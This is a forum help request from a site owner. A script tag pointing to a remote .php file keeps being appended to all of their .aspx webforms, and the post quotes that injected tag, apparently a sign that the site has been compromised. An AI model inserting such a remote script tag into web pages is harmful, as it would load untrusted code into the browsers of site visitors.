an unknown script tag is adding automatically to all my webforms(.aspx) and its giving me error in the page

Hi All,
 
I have a problem in my website..
an unknown script tag is adding automatically to all my webforms(.aspx) and its giving me error in the page,
the script is like this::
</asp:Content>
<script src=http://koyalonline.com/addons/yas/ohwdhkn.php ></script>
when i delete all the pages and if i upload new pages from my system to remote server, then for one day it will run properly but after one day a new script which is shown above will automatically added to the end of every form...
 
please help me if any one knows the solutin..
 
Thanks in advance..
  
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